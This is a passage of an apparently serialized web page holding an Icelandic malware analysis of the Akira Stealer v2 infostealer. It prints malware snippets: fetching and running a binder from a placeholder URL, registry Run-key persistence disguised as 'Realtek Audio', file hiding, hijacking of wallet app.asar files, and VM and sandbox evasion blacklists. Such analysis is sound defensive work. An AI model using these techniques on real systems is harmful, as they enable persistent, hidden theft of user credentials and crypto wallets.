sett:",[615,4181,4183],{"className":3013,"code":4182,"language":3015,"meta":529,"style":529},"enableBinder = true;\n",[578,4184,4185],{"__ignoreMap":529},[1712,4186,4187,4190,4192,4195],{"class":1714,"line":1715},[1712,4188,4189],{"class":3032},"enableBinder ",[1712,4191,3190],{"class":3022},[1712,4193,4194],{"class":2805}," true",[1712,4196,3470],{"class":3032},[525,4198,4199,4200,4203],{},"Í sýninu sem greint var var þetta gildi sjálfgefið ",[578,4201,4202],{},"false",", en rökvísin er enn innbyggð í payloadinum og einfalt mál að virkja hana í annarri herferð eða öðru afbrigði.",[525,4205,4206],{},[567,4207,4208],{},"Rökvísi niðurhals binders",[525,4210,4211,4212,1199],{},"Ef hún er virkjuð reynir scriptið að sækja utanaðkomandi binary frá URL-i sem skilgreint er með staðgenglinum ",[578,4213,4214],{},"%BINDERURL%",[615,4216,4218],{"className":3013,"code":4217,"language":3015,"meta":529,"style":529},"const fileUrl = \"%BINDERURL%\";\nconst fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\nconst writer = fs.createWriteStream(binderFile);\nfileResponse.data.pipe(writer);\n",[578,4219,4220,4234,4254,4269],{"__ignoreMap":529},[1712,4221,4222,4224,4227,4229,4232],{"class":1714,"line":1715},[1712,4223,3023],{"class":3022},[1712,4225,4226],{"class":2805}," fileUrl",[1712,4228,3029],{"class":3022},[1712,4230,4231],{"class":2801}," \"%BINDERURL%\"",[1712,4233,3470],{"class":3032},[1712,4235,4236,4238,4240,4242,4244,4246,4248,4250,4252],{"class":1714,"line":530},[1712,4237,3023],{"class":3022},[1712,4239,3494],{"class":2805},[1712,4241,3029],{"class":3022},[1712,4243,3499],{"class":3022},[1712,4245,3502],{"class":3032},[1712,4247,3505],{"class":2797},[1712,4249,3508],{"class":3032},[1712,4251,3511],{"class":2801},[1712,4253,3514],{"class":3032},[1712,4255,4256,4258,4260,4262,4264,4266],{"class":1714,"line":2096},[1712,4257,3023],{"class":3022},[1712,4259,3532],{"class":2805},[1712,4261,3029],{"class":3022},[1712,4263,3537],{"class":3032},[1712,4265,3540],{"class":2797},[1712,4267,4268],{"class":3032},"(binderFile);\n",[1712,4270,4271,4273,4275],{"class":1714,"line":2102},[1712,4272,3548],{"class":3032},[1712,4274,3551],{"class":2797},[1712,4276,3554],{"class":3032},[630,4278,4279,4284],{},[633,4280,4281,4283],{},[578,4282,3381],{},"-skráin er vistuð í tímabundnu möppu kerfisins.",[633,4285,4286,4287,4289],{},"Eins og ",[578,4288,2900],{}," er binary-ið sótt með Axios í straumi til að forðast að hlaða öllu binary-inu í minni.",[525,4291,4292],{},[567,4293,4294],{},"Keyrslustefna",[525,4296,4297,4298,4300],{},"Eftir að niðurhali lýkur kallar scriptið á sótta binary-ið í gegnum ",[578,4299,1127],{},", sem tryggir að það keyri í nýju shell-samhengi:",[615,4302,4304],{"className":3013,"code":4303,"language":3015,"meta":529,"style":529},"exec(`start cmd /c start ${binderFile}`, ...);\n",[578,4305,4306],{"__ignoreMap":529},[1712,4307,4308,4310,4312,4315,4318,4321,4323,4326],{"class":1714,"line":1715},[1712,4309,3943],{"class":2797},[1712,4311,3224],{"class":3032},[1712,4313,4314],{"class":2801},"`start cmd /c start ${",[1712,4316,4317],{"class":3032},"binderFile",[1712,4319,4320],{"class":2801},"}`",[1712,4322,646],{"class":3032},[1712,4324,4325],{"class":3022},"...",[1712,4327,3089],{"class":3032},[525,4329,4330],{},"Til að auka áreiðanleika hefur scriptið rökvísi til að reyna aftur:",[615,4332,4334],{"className":3013,"code":4333,"language":3015,"meta":529,"style":529},"setTimeout(() => {\n  exec(...);\n}, 5000);\n",[578,4335,4336,4348,4359],{"__ignoreMap":529},[1712,4337,4338,4341,4344,4346],{"class":1714,"line":1715},[1712,4339,4340],{"class":2797},"setTimeout",[1712,4342,4343],{"class":3032},"(() ",[1712,4345,3814],{"class":3022},[1712,4347,3817],{"class":3032},[1712,4349,4350,4353,4355,4357],{"class":1714,"line":530},[1712,4351,4352],{"class":2797},"  exec",[1712,4354,3224],{"class":3032},[1712,4356,4325],{"class":3022},[1712,4358,3089],{"class":3032},[1712,4360,4361,4364,4367],{"class":1714,"line":2096},[1712,4362,4363],{"class":3032},"}, ",[1712,4365,4366],{"class":2805},"5000",[1712,4368,3089],{"class":3032},[525,4370,4371],{},"Þetta tryggir að þótt fyrsta keyrslan bregðist (t.d. vegna álags á kerfinu eða kappræðisaðstæðna) reyni malware-ið að ræsa binary-ið aftur eftir skamma stund.",[525,4373,4374],{},[567,4375,4376],{},"Notkunartilvik binders",[525,4378,4379],{},"Þótt nákvæmur tilgangur binder-binaries komi ekki fram í þessu tiltekna sýni (vegna staðgengils-URL-sins) eru slíkir hlutar almennt notaðir til að:",[630,4381,4382,4385,4388,4391],{},[633,4383,4384],{},"Setja upp eða ræsa meginhluta malware-sins að nýju",[633,4386,4387],{},"Birta fölsuð uppsetningarforrit eða tálbeituforrit",[633,4389,4390],{},"Dreifa frekari spyware, bakdyrum eða ransomware",[633,4392,4393],{},"Breyta kerfisstillingum eða gera öryggiseiginleika óvirka",[740,4395,4397],{"id":4396},"_63-samantekt","6.3 Samantekt",[525,4399,746],{},[525,4401,4402,4404],{},[578,4403,2839],{}," er mjög obfuskeraður og dulkóðaður JavaScript-loader sem notar dulkóðun að iðnaðarstaðli (PBKDF2 + AES-256-CBC) til að vernda sinn raunverulega tilgang. Eftir afkóðun starfar hann sem fullburða loader á öðru þrepi sem:",[630,4406,4407,4412,4415,4420],{},[633,4408,4409,4410,1138],{},"Sækir frekara malware (",[578,4411,2900],{},[633,4413,4414],{},"Breytir hegðun payloadsins dýnamískt",[633,4416,4417,4418,1138],{},"Ræsir hið eiginlega stealer-script (",[578,4419,609],{},[633,4421,4422,4423],{},"Styrkir persistence með því að endurheimta ",[578,4424,601],{},[525,4426,4427,4428,4431],{},"Samsetning dulkóðunar, dýnamískrar keyrslu, einingaskiptrar sóknar payloads og fileless reksturs sýnir ",[567,4429,4430],{},"mjög háþróaðan JavaScript-byggðan malware-arkitektúr"," sem nýtir getu Node.js inni í Electron-skel.",[556,4433,4435,4436,1138],{"id":4434},"_7-deepdive-akira-stealer-v2-astorpy","7. DeepDive: Akira Stealer v2 (",[578,4437,609],{},[525,4439,562],{},[740,4441,4443],{"id":4442},"_71-virkni-í-stórum-dráttum","7.1. Virkni í stórum dráttum",[525,4445,746],{},[525,4447,4448,4449,4451],{},"Akira Stealer v2 (",[578,4450,609],{},") er fjölvirkt og einingaskipt infostealer-malware skrifað í Python. Því er ætlað að exfiltrera breitt safn viðkvæmra notandagagna, bæði úr Chromium- og Firefox-byggðum browsers, úr kryptóveskjum, samskiptaforritum (t.d. Discord, Telegram) og kerfisskrám. Það hefur fágaðan búnað til að komast hjá greiningu, persistence í registry, yfirtöku á klippiborði og aðferðir til innspýtingar í minni.",[740,4453,4455],{"id":4454},"_72-persistence-og-dreifing","7.2 Persistence og dreifing",[525,4457,746],{},[888,4459,4461],{"id":4460},"_721-samhengi-keyrslukeðjunnar","7.2.1 Samhengi keyrslukeðjunnar",[525,4463,894],{},[525,4465,4466,4468],{},[578,4467,609],{}," er ekki keyrt eitt og sér heldur er það lokapayloadinn í árásarkeðju með margar þrep:",[615,4470,4474],{"className":4471,"code":4472,"language":4473,"meta":529,"style":529},"language-plaintext shiki shiki-themes github-light github-dark","Updater.exe\n  └── main.exe (Electron app)\n        └── cmd.exe\n              └── python.exe astor.py\n","plaintext",[578,4475,4476,4481,4486,4491],{"__ignoreMap":529},[1712,4477,4478],{"class":1714,"line":1715},[1712,4479,4480],{},"Updater.exe\n",[1712,4482,4483],{"class":1714,"line":530},[1712,4484,4485],{},"  └── main.exe (Electron app)\n",[1712,4487,4488],{"class":1714,"line":2096},[1712,4489,4490],{},"        └── cmd.exe\n",[1712,4492,4493],{"class":1714,"line":2102},[1712,4494,4495],{},"              └── python.exe astor.py\n",[525,4497,4498,4499,4501],{},"Þessi skipulagða keyrslukeðja gerir hverju þrepi kleift að komast hjá detection með því að framselja illgjarna virkni til næsta þreps. ",[578,4500,601],{}," hefur röðina og er ábyrgt fyrir því að viðhalda persistence.",[888,4503,4505],{"id":4504},"_722-persistence-byggt-á-registry","7.2.2 Persistence byggt á registry",[525,4507,894],{},[525,4509,4510,4511,4513],{},"Akira kemur persistence á með því að skrifa registry-lykil undir Run-slóð núverandi notanda. Það tryggir að ",[578,4512,601],{}," sé keyrt við hverja ræsingu kerfisins:",[615,4515,4519],{"className":4516,"code":4517,"language":4518,"meta":529,"style":529},"language-python shiki shiki-themes github-light github-dark","command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\nos.system(command)\n","python",[578,4520,4521,4526],{"__ignoreMap":529},[1712,4522,4523],{"class":1714,"line":1715},[1712,4524,4525],{},"command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\n",[1712,4527,4528],{"class":1714,"line":530},[1712,4529,4530],{},"os.system(command)\n",[630,4532,4533,4540,4547],{},[633,4534,4535,998,4538],{},[567,4536,4537],{},"Slóð",[578,4539,1684],{},[633,4541,4542,998,4544,4546],{},[567,4543,1689],{},[578,4545,1692],{}," (valið til að virðast meinlaust)",[633,4548,4549,4551,4552],{},[567,4550,1697],{},": yfirleitt í ",[578,4553,4554],{},"AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\\\Updater.exe",[525,4556,4557,4558,4561],{},"Þessi skipun skrifar autorun-færsluna hljóðlega í gegnum PowerShell eða innbyggða ",[578,4559,4560],{},"os.system()","-keyrslu.",[888,4563,4565],{"id":4564},"_723-að-fela-skrána","7.2.3 Að fela skrána",[525,4567,894],{},[525,4569,4570],{},"Til að hylja binary-ið enn frekar fyrir notendum og einföldum AV-skönnunum er skráin merkt með hidden- og system-eigindum:",[615,4572,4574],{"className":4516,"code":4573,"language":4518,"meta":529,"style":529},"subprocess.run([\"attrib\", \"+h\", \"+s\", destination_path])\n",[578,4575,4576],{"__ignoreMap":529},[1712,4577,4578],{"class":1714,"line":1715},[1712,4579,4573],{},[630,4581,4582,4588],{},[633,4583,4584,4587],{},[578,4585,4586],{},"+h",": merkir skrána sem falda",[633,4589,4590,4593],{},[578,4591,4592],{},"+s",": merkir skrána sem varða kerfisskrá",[525,4595,4596],{},"Þetta fjarlægir skrána í reynd úr venjulegum sýnum í Windows Explorer og gerir hana enn ósýnilegri.",[888,4598,4600],{"id":4599},"_724-aðferðir-til-endursýkingar","7.2.4 Aðferðir til endursýkingar",[525,4602,894],{},[525,4604,4605,4606,4608,4609,646,4612,4615],{},"Malware-ið styður sjálfsafritun og endursýkingu með því að yfirtaka Electron-forrit. Nánar tiltekið skiptir það út ",[578,4607,1072],{},"-safnskránni í Electron-byggðum skjáborðsveskjum (t.d. ",[567,4610,4611],{},"Exodus",[567,4613,4614],{},"Atomic Wallet",") til að keyra illgjarnt JavaScript þegar lögmæta forritið er ræst.",[525,4617,4618],{},"Rökvísin leitar að þekktum slóðum veskjaforrita:",[615,4620,4622],{"className":4516,"code":4621,"language":4518,"meta":529,"style":529},"path = os.getenv(\"APPDATA\") + \"\\\\Exodus\\\\resources\\\\app.asar\"\n",[578,4623,4624],{"__ignoreMap":529},[1712,4625,4626],{"class":1714,"line":1715},[1712,4627,4621],{},[525,4629,4630,4631,4633],{},"Ef markskráin er til er skrifað yfir hana með vopnaðri safnskrá. Það tryggir persistence jafnvel eftir að ",[578,4632,601],{}," hefur verið fjarlægt handvirkt.",[740,4635,4637,4638,1138],{"id":4636},"_73-vörn-gegn-greiningu-og-evasion-klasi-vmprotect","7.3 Vörn gegn greiningu og evasion (klasi: ",[578,4639,4640],{},"VmProtect",[525,4642,746],{},[888,4644,4646],{"id":4645},"_731-inngangur","7.3.1 Inngangur",[525,4648,894],{},[525,4650,4651,4652,4655,4656,4658],{},"Í nútíma malware-herferðum er það lykilatriði að komast hjá greiningu í sýndar- og sandbox-umhverfum til að haldast ósýnilegur. ",[4653,4654,677],"em",{}," hefur heildstæða einingu til detection á VM og sandbox (",[578,4657,4640],{},") sem finnur af hörku umhverfi sem greinendur stýra og stöðvar keyrslu í þeim. Þessi skýrsla tekur í sundur hverja detection-aðferð, birtir nákvæm kóðabrot, þar á meðal fullar skilgreiningar svartlista, og lýsir þeirri greiningaraðferð sem var notuð.",[888,4660,4662],{"id":4661},"_732-yfirlit","7.3.2 Yfirlit",[525,4664,894],{},[525,4666,4667,4669],{},[578,4668,4640],{},"-klasinn útfærir öfluga detection á VM og sandbox til að stöðva keyrslu í tæka tíð í greiningarumhverfum. Hann styður tvö detection-stig:",[630,4671,4672,4678],{},[633,4673,4674,4677],{},[567,4675,4676],{},"Stig 1",": léttar og hraðar athuganir",[633,4679,4680,4683],{},[567,4681,4682],{},"Stig 2",": djúpar og heildstæðar prófanir",[525,4685,2388,4686,4689,4690,4693,4694,4697],{},[578,4687,4688],{},"VmProtect.isVM(level)"," skilar ",[578,4691,4692],{},"True"," kallar malware-ið á ",[578,4695,4696],{},"sys.exit()"," og hindrar frekari greiningu.",[888,4699,4701],{"id":4700},"_733-detection-stig","7.3.3 Detection-stig",[525,4703,894],{},[1417,4705,4706,4707],{},"\n  ",[1433,4708,4709,4706,4718,4706,4728,4706,4737,4706,4746,4706,4756,4706,4765,4706,4774],{},[1423,4710,4711,4712,4711,4714,4711,4716,4706],{},"\n    ",[1426,4713,1428],{},[1426,4715,4676],{},[1426,4717,4682],{},[1423,4719,4711,4720,4711,4723,4711,4726,4706],{},[1438,4721,4722],{},"HTTPSimulation",[1438,4724,4725],{},"✔️",[1438,4727,4725],{},[1423,4729,4711,4730,4711,4733,4711,4735,4706],{},[1438,4731,4732],{},"Svartlisti tölvuheita",[1438,4734,4725],{},[1438,4736,4725],{},[1423,4738,4711,4739,4711,4742,4711,4744,4706],{},[1438,4740,4741],{},"Svartlisti notandareikninga",[1438,4743,4725],{},[1438,4745,4725],{},[1423,4747,4711,4748,4711,4751,4711,4754,4706],{},[1438,4749,4750],{},"Svartlisti vélbúnaðar-UUID",[1438,4752,4753],{},"❌",[1438,4755,4725],{},[1423,4757,4711,4758,4711,4761,4711,4763,4706],{},[1438,4759,4760],{},"API-athugun á opinberri hýsingu",[1438,4762,4753],{},[1438,4764,4725],{},[1423,4766,4711,4767,4711,4770,4711,4772,4706],{},[1438,4768,4769],{},"Vísbendingar úr registry og GPU",[1438,4771,4753],{},[1438,4773,4725],{},[1423,4775,4711,4776,4711,4779,4711,4781,4706],{},[1438,4777,4778],{},"Bakgrunnsferli sem drepur tasks",[1438,4780,4725],{},[1438,4782,4725],{},[853,4784],{"className":4785},[856,857],[888,4787,4789,4790],{"id":4788},"_734-arkitektúr-vmprotect","7.3.4 Arkitektúr ",[578,4791,4640],{},[525,4793,894],{},[525,4795,4796,4798],{},[578,4797,4640],{},"-klasinn býður upp á eftirfarandi megin-aðferðir:",[630,4800,4801,4808,4815,4822,4829,4836,4843,4850],{},[633,4802,4803],{},[567,4804,4805],{},[578,4806,4807],{},"checkUUID()",[633,4809,4810],{},[567,4811,4812],{},[578,4813,4814],{},"checkComputerName()",[633,4816,4817],{},[567,4818,4819],{},[578,4820,4821],{},"checkUsers()",[633,4823,4824],{},[567,4825,4826],{},[578,4827,4828],{},"checkHosting()",[633,4830,4831],{},[567,4832,4833],{},[578,4834,4835],{},"checkHTTPSimulation()",[633,4837,4838],{},[567,4839,4840],{},[578,4841,4842],{},"checkRegistry()",[633,4844,4845],{},[567,4846,4847],{},[578,4848,4849],{},"killTasks()",[633,4851,4852],{},[567,4853,4854],{},[578,4855,4856],{},"isVM(level)",[525,4858,4859,4860,4863],{},"Hver aðferð skilar bólsku gildi eða keyrir evasion-skref. ",[578,4861,4862],{},"isVM","-wrapperinn safnar þessum athugunum saman eftir því hvaða stig er tilgreint.",[1417,4865,4706,4866],{},[1433,4867,4868,4706,4879,4706,4893,4706,4907,4706,4920,4706,4933,4706,4946,4706,4959,4706,4974],{},[1423,4869,4711,4870,4711,4873,4711,4876,4706],{},[1426,4871,4872],{},"Aðferð",[1426,4874,4875],{},"Kveikt af",[1426,4877,4878],{},"Lýsing",[1423,4880,4711,4881,4711,4885,4711,4890,4706],{},[1438,4882,4883],{},[578,4884,4807],{},[1438,4886,4887],{},[578,4888,4889],{},"isVM(2)",[1438,4891,4892],{},"Svartlisti WMI-UUID",[1423,4894,4711,4895,4711,4899,4711,4904,4706],{},[1438,4896,4897],{},[578,4898,4814],{},[1438,4900,4901],{},[578,4902,4903],{},"isVM(1,2)",[1438,4905,4906],{},"Samsvörun á hostname úr umhverfisbreytum",[1423,4908,4711,4909,4711,4913,4711,4917,4706],{},[1438,4910,4911],{},[578,4912,4821],{},[1438,4914,4915],{},[578,4916,4903],{},[1438,4918,4919],{},"Svartlisti notandanafna",[1423,4921,4711,4922,4711,4926,4711,4930,4706],{},[1438,4923,4924],{},[578,4925,4828],{},[1438,4927,4928],{},[578,4929,4889],{},[1438,4931,4932],{},"Athugun á IP-hýsingaraðila í gegnum ip-api.com",[1423,4934,4711,4935,4711,4939,4711,4943,4706],{},[1438,4936,4937],{},[578,4938,4835],{},[1438,4940,4941],{},[578,4942,4903],{},[1438,4944,4945],{},"Detection á HTTPS-hlerun",[1423,4947,4711,4948,4711,4952,4711,4956,4706],{},[1438,4949,4950],{},[578,4951,4842],{},[1438,4953,4954],{},[578,4955,4889],{},[1438,4957,4958],{},"Artifacts úr registry og GPU-driverum",[1423,4960,4711,4961,4711,4965,4711,4971,4706],{},[1438,4962,4963],{},[578,4964,4849],{},[1438,4966,4967,4970],{},[578,4968,4969],{},"isVM(...)"," spawn",[1438,4972,4973],{},"Stöðvar þekkt greiningarferli",[1423,4975,4711,4976,4711,4980,4711,4983,4706],{},[1438,4977,4978],{},[578,4979,4856],{},[1438,4981,4982],{},"init",[1438,4984,4985,4986,4988],{},"Safnar athugunum saman og kallar á ",[578,4987,4849],{},"-þráðinn",[853,4990],{"className":4991},[856,857],[615,4993,4995],{"className":4516,"code":4994,"language":4518,"meta":529,"style":529},"@staticmethod\ndef isVM(level: int) -> bool:\n    # Always start background task-killer\n    Thread(target=VmProtect.killTasks, daemon=True).start()\n    if level == 1:\n        # Fast path: HTTPS, hostname & user\n        return (\n            VmProtect.checkHTTPSimulation()\n            or VmProtect.checkComputerName()\n            or VmProtect.checkUsers()\n        )\n    if level == 2:\n        # Deep scan: includes UUID, hosting, registry & GPU\n        try:\n            return (\n                VmProtect.checkHTTPSimulation()\n                or VmProtect.checkUUID()\n                or VmProtect.checkComputerName()\n                or VmProtect.checkUsers()\n                or VmProtect.checkHosting()\n                or VmProtect.checkRegistry()\n            )\n        except:\n            return False\n    return False\n",[578,4996,4997,5002,5007,5012,5017,5022,5027,5032,5037,5042,5047,5053,5059,5065,5071,5077,5083,5089,5095,5101,5107,5113,5119,5125,5131],{"__ignoreMap":529},[1712,4998,4999],{"class":1714,"line":1715},[1712,5000,5001],{},"@staticmethod\n",[1712,5003,5004],{"class":1714,"line":530},[1712,5005,5006],{},"def isVM(level: int) -> bool:\n",[1712,5008,5009],{"class":1714,"line":2096},[1712,5010,5011],{},"    # Always start background task-killer\n",[1712,5013,5014],{"class":1714,"line":2102},[1712,5015,5016],{},"    Thread(target=VmProtect.killTasks, daemon=True).start()\n",[1712,5018,5019],{"class":1714,"line":2424},[1712,5020,5021],{},"    if level == 1:\n",[1712,5023,5024],{"class":1714,"line":2430},[1712,5025,5026],{},"        # Fast path: HTTPS, hostname & user\n",[1712,5028,5029],{"class":1714,"line":3086},[1712,5030,5031],{},"        return (\n",[1712,5033,5034],{"class":1714,"line":3881},[1712,5035,5036],{},"            VmProtect.checkHTTPSimulation()\n",[1712,5038,5039],{"class":1714,"line":3887},[1712,5040,5041],{},"            or VmProtect.checkComputerName()\n",[1712,5043,5044],{"class":1714,"line":4132},[1712,5045,5046],{},"            or VmProtect.checkUsers()\n",[1712,5048,5050],{"class":1714,"line":5049},11,[1712,5051,5052],{},"        )\n",[1712,5054,5056],{"class":1714,"line":5055},12,[1712,5057,5058],{},"    if level == 2:\n",[1712,5060,5062],{"class":1714,"line":5061},13,[1712,5063,5064],{},"        # Deep scan: includes UUID, hosting, registry & GPU\n",[1712,5066,5068],{"class":1714,"line":5067},14,[1712,5069,5070],{},"        try:\n",[1712,5072,5074],{"class":1714,"line":5073},15,[1712,5075,5076],{},"            return (\n",[1712,5078,5080],{"class":1714,"line":5079},16,[1712,5081,5082],{},"                VmProtect.checkHTTPSimulation()\n",[1712,5084,5086],{"class":1714,"line":5085},17,[1712,5087,5088],{},"                or VmProtect.checkUUID()\n",[1712,5090,5092],{"class":1714,"line":5091},18,[1712,5093,5094],{},"                or VmProtect.checkComputerName()\n",[1712,5096,5098],{"class":1714,"line":5097},19,[1712,5099,5100],{},"                or VmProtect.checkUsers()\n",[1712,5102,5104],{"class":1714,"line":5103},20,[1712,5105,5106],{},"                or VmProtect.checkHosting()\n",[1712,5108,5110],{"class":1714,"line":5109},21,[1712,5111,5112],{},"                or VmProtect.checkRegistry()\n",[1712,5114,5116],{"class":1714,"line":5115},22,[1712,5117,5118],{},"            )\n",[1712,5120,5122],{"class":1714,"line":5121},23,[1712,5123,5124],{},"        except:\n",[1712,5126,5128],{"class":1714,"line":5127},24,[1712,5129,5130],{},"            return False\n",[1712,5132,5134],{"class":1714,"line":5133},25,[1712,5135,5136],{},"    return False\n",[888,5138,5140],{"id":5139},"_735-uuid-athugun-að-finna-sýndarvélar-út-frá-vélbúnaðar-uuid","7.3.5 UUID-athugun – að finna sýndarvélar út frá vélbúnaðar-UUID",[525,5142,894],{},[525,5144,5145],{},"Algeng taktík í evasion malware-sins er að taka fingrafar af vélbúnaðarumhverfinu. Eitt fyrsta auðkennið sem getur gefið sýndarvél til kynna er kerfis-UUID-ið (Universally Unique Identifier). Sýndarvæðingarpallar eins og VMware og VirtualBox mynda oft UUID sem eru forspáanleg eða endurnotuð, og malware getur notað þau til að ráða í hvort það keyri í sýndar- eða sandbox-umhverfi.",[615,5147,5149],{"className":4516,"code":5148,"language":4518,"meta":529,"style":529},"@staticmethod\ndef checkUUID() -> bool:\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\", shell=True,\n            capture_output=True\n        ).stdout.splitlines()[2].decode().strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n",[578,5150,5151,5155,5160,5165,5170,5175,5180,5185,5190,5195],{"__ignoreMap":529},[1712,5152,5153],{"class":1714,"line":1715},[1712,5154,5001],{},[1712,5156,5157],{"class":1714,"line":530},[1712,5158,5159],{},"def checkUUID() -> bool:\n",[1712,5161,5162],{"class":1714,"line":2096},[1712,5163,5164],{},"    try:\n",[1712,5166,5167],{"class":1714,"line":2102},[1712,5168,5169],{},"        raw = subprocess.run(\n",[1712,5171,5172],{"class":1714,"line":2424},[1712,5173,5174],{},"            \"wmic csproduct get uuid\", shell=True,\n",[1712,5176,5177],{"class":1714,"line":2430},[1712,5178,5179],{},"            capture_output=True\n",[1712,5181,5182],{"class":1714,"line":3086},[1712,5183,5184],{},"        ).stdout.splitlines()[2].decode().strip()\n",[1712,5186,5187],{"class":1714,"line":3881},[1712,5188,5189],{},"    except:\n",[1712,5191,5192],{"class":1714,"line":3887},[1712,5193,5194],{},"        raw = \"\"\n",[1712,5196,5197],{"class":1714,"line":4132},[1712,5198,5199],{},"    return raw in VmProtect.BLACKLISTED_UUIDS\n",[525,5201,5202],{},"Þessi athugun nýtir Windows Management Instrumentation Command-line (WMIC) tólið til að draga út UUID hostvélarinnar. Gildið sem kemur til baka er svo borið við valinn lista af UUID sem almennt eru tengd við sniðmát sýndarvéla eða þekktar greiningaruppsetningar.",[888,5204,5206],{"id":5205},"_736-athugun-á-tölvuheiti-að-finna-sandbox-og-greiningarumhverfi-út-frá-hostname","7.3.6 Athugun á tölvuheiti – að finna sandbox- og greiningarumhverfi út frá hostname",[525,5208,894],{},[525,5210,5211,5212,5215],{},"Hostname kerfisins, sem lesið er úr umhverfisbreytunni ",[578,5213,5214],{},"%COMPUTERNAME%",", gefur oft vísbendingar um umhverfið. Greinendur nota oft sjálfgefin eða fljótgerð hostname eins og \"DESKTOP-XXXXXXX\", \"WIN10ANALYSIS\" eða jafnvel heiti sem tengjast þeirra innri umhverfum. Malware nýtir þetta og ber hostname kerfisins við svartlista.",[615,5217,5219],{"className":4516,"code":5218,"language":4518,"meta":529,"style":529},"@staticmethod\ndef checkComputerName() -> bool:\n    name = os.getenv(\"computername\", \"\").lower()\n    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n\nBLACKLISTED_COMPUTERNAMES = (\n    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n    'desktop-vkeons4','ntt-eff-2w11wss',\n    # ... dozens more entries ...\n)\n",[578,5220,5221,5225,5230,5235,5240,5244,5249,5254,5259,5264],{"__ignoreMap":529},[1712,5222,5223],{"class":1714,"line":1715},[1712,5224,5001],{},[1712,5226,5227],{"class":1714,"line":530},[1712,5228,5229],{},"def checkComputerName() -> bool:\n",[1712,5231,5232],{"class":1714,"line":2096},[1712,5233,5234],{},"    name = os.getenv(\"computername\", \"\").lower()\n",[1712,5236,5237],{"class":1714,"line":2102},[1712,5238,5239],{},"    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1712,5241,5242],{"class":1714,"line":2424},[1712,5243,3878],{"emptyLinePlaceholder":325},[1712,5245,5246],{"class":1714,"line":2430},[1712,5247,5248],{},"BLACKLISTED_COMPUTERNAMES = (\n",[1712,5250,5251],{"class":1714,"line":3086},[1712,5252,5253],{},"    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n",[1712,5255,5256],{"class":1714,"line":3881},[1712,5257,5258],{},"    'desktop-vkeons4','ntt-eff-2w11wss',\n",[1712,5260,5261],{"class":1714,"line":3887},[1712,5262,5263],{},"    # ... dozens more entries ...\n",[1712,5265,5266],{"class":1714,"line":4132},[1712,5267,5268],{},")\n",[525,5270,5271],{},"Ef samsvörun finnst getur malware-ið valið að stöðva keyrslu eða dreifa fölsuðum payload og komast þannig hjá fullri hegðunargreiningu.",[888,5273,5275],{"id":5274},"_737-athugun-á-notandareikningi-að-greina-reikninga-greinenda-og-sjálfgefna-reikninga","7.3.7 Athugun á notandareikningi – að greina reikninga greinenda og sjálfgefna reikninga",[525,5277,894],{},[525,5279,5280],{},"Önnur heuristík byggir á því að skoða notandanafnið sem malware-ið keyrir undir. Mörg sniðmát sýndarvéla og sandboxa endurnota algeng notandanöfn eins og \"Abby\", \"Test\" eða \"wdagutilityaccount\". Þessi nöfn hafa litla óreiðu og eru oft harðkóðuð í sandbox-umhverfum með opnum kóða.",[615,5282,5284],{"className":4516,"code":5283,"language":4518,"meta":529,"style":529},"@staticmethod\ndef checkUsers() -> bool:\n    user = os.getlogin().lower()\n    return user in VmProtect.BLACKLISTED_USERS\n\nBLACKLISTED_USERS = (\n    'wdagutilityaccount','abby','peter wilson','hmarc',\n    'a.monaldo','tvm',\n    # ... 30+ more entries ...\n)\n",[578,5285,5286,5290,5295,5300,5305,5309,5314,5319,5324,5329],{"__ignoreMap":529},[1712,5287,5288],{"class":1714,"line":1715},[1712,5289,5001],{},[1712,5291,5292],{"class":1714,"line":530},[1712,5293,5294],{},"def checkUsers() -> bool:\n",[1712,5296,5297],{"class":1714,"line":2096},[1712,5298,5299],{},"    user = os.getlogin().lower()\n",[1712,5301,5302],{"class":1714,"line":2102},[1712,5303,5304],{},"    return user in VmProtect.BLACKLISTED_USERS\n",[1712,5306,5307],{"class":1714,"line":2424},[1712,5308,3878],{"emptyLinePlaceholder":325},[1712,5310,5311],{"class":1714,"line":2430},[1712,5312,5313],{},"BLACKLISTED_USERS = (\n",[1712,5315,5316],{"class":1714,"line":3086},[1712,5317,5318],{},"    'wdagutilityaccount','abby','peter wilson','hmarc',\n",[1712,5320,5321],{"class":1714,"line":3881},[1712,5322,5323],{},"    'a.monaldo','tvm',\n",[1712,5325,5326],{"class":1714,"line":3887},[1712,5327,5328],{},"    # ... 30+ more entries ...\n",[1712,5330,5331],{"class":1714,"line":4132},[1712,5332,5268],{},[525,5334,5335],{},"Þessi athugun styrkir detection með því að beinast að notandasamhenginu, sem getur haldist óbreytt jafnvel eftir endurræsingar eða snapshots sýndarvéla.",[888,5337,5339],{"id":5338},"_738-hýsingarathugun-að-finna-opinbera-cloud-innviði","7.3.8 Hýsingarathugun – að finna opinbera cloud-innviði",[525,5341,894],{},[525,5343,5344,5345,5348],{},"Sumt malware notar utanaðkomandi IP-upplýsingaþjónustur til að athuga hvort sýkta kerfið sé í þekktu gagnaveri eða hjá cloud-veitanda. Í þessu tilviki er einföld HTTP-beiðni send á ",[578,5346,5347],{},"ip-api.com"," og spurt hvort IP-ið sé merkt sem \"hosting\".",[615,5350,5352],{"className":4516,"code":5351,"language":4518,"meta":529,"style":529},"@staticmethod\ndef checkHosting() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET',\n            'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n",[578,5353,5354,5358,5363,5368,5372,5377,5382,5387,5392,5396],{"__ignoreMap":529},[1712,5355,5356],{"class":1714,"line":1715},[1712,5357,5001],{},[1712,5359,5360],{"class":1714,"line":530},[1712,5361,5362],{},"def checkHosting() -> bool:\n",[1712,5364,5365],{"class":1714,"line":2096},[1712,5366,5367],{},"    http = 